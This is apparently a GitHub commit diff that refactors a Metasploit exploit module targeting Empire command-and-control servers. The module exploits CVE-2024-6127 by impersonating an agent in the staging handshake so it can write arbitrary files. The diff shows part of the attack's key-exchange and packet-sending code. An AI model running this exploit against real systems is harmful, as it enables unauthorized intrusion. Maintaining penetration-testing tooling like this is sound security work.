Skip to content

Commit 10b7237

Browse files
committed
Avoid code duplication
1 parent 0b9b7a4 commit 10b7237

File tree

1 file changed

+7
-18
lines changed

1 file changed

+7
-18
lines changed

modules/exploits/linux/http/empire_skywalker.rb

Lines changed: 7 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -248,15 +248,8 @@ def exploit
248248
# stage1
249249
private_key = SecureRandom.hex(KEYLENGTH).hex
250250
public_key = GENERATOR.pow(private_key, PRIME).to_s.encode("UTF-8")
251-
enc_data = aes_encrypt_then_hmac(staging_key, public_key)
252251
session_id = SecureRandom.alphanumeric(8).upcase
253-
data = build_routing_packet(staging_key, STAGE1, enc_data, session_id)
254-
res = send_request_cgi({
255-
'data' => data,
256-
'method' => 'POST',
257-
'uri' => normalize_uri(target_uri.path, datastore['STAGE_PATH']),
258-
'headers' => {'user-agent' => datastore['AGENT']}
259-
})
252+
res = send_data_to_stage(staging_key, public_key, staging_key, STAGE1, session_id)
260253
fail_with(Failure::Unknown, 'Failed to send the key to STAGE1') unless res and res.code == 200
261254
vprint_good("Successfully sent the key to STAGE1")
262255

@@ -278,14 +271,7 @@ def exploit
278271

279272
# stage2
280273
sysinfo = "#{nonce+1}|#{datastore['RHOSTS']}:#{datastore['RPORT']}||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64".encode("UTF-8")
281-
hmac_data = aes_encrypt_then_hmac(session_key, sysinfo)
282-
rpacket = build_routing_packet(staging_key, STAGE2, hmac_data, session_id)
283-
res = send_request_cgi({
284-
'data' => rpacket,
285-
'method' => 'POST',
286-
'uri' => normalize_uri(target_uri.path, datastore['STAGE_PATH']),
287-
'headers' => {'user-agent' => datastore['AGENT']}
288-
})
274+
res = send_data_to_stage(session_key, sysinfo, staging_key, STAGE2, session_id)
289275
fail_with(Failure::Unknown, "Failed to communicate with STAGE2") unless res and res.code == 200
290276
aes_decrypt(session_key, res.body)
291277

@@ -424,9 +410,12 @@ def write_file_cve_2024_6127(path, data, session_id, session_key, staging_key)
424410
compress(data)
425411
].join('|')
426412
)
427-
enc_packet = aes_encrypt_then_hmac(session_key, packet)
428-
data = build_routing_packet(staging_key, RESULT_POST, enc_packet, session_id)
413+
send_data_to_stage(session_key, packet, staging_key, RESULT_POST, session_id)
414+
end
429415

416+
def send_data_to_stage(session_key, packet, staging_key, task_id, session_id)
417+
enc_packet = aes_encrypt_then_hmac(session_key, packet)
418+
data = build_routing_packet(staging_key, task_id, enc_packet, session_id)
430419
res = send_request_cgi({
431420
'data' => data,
432421
'method' => 'POST',

0 commit comments

Comments
 (0)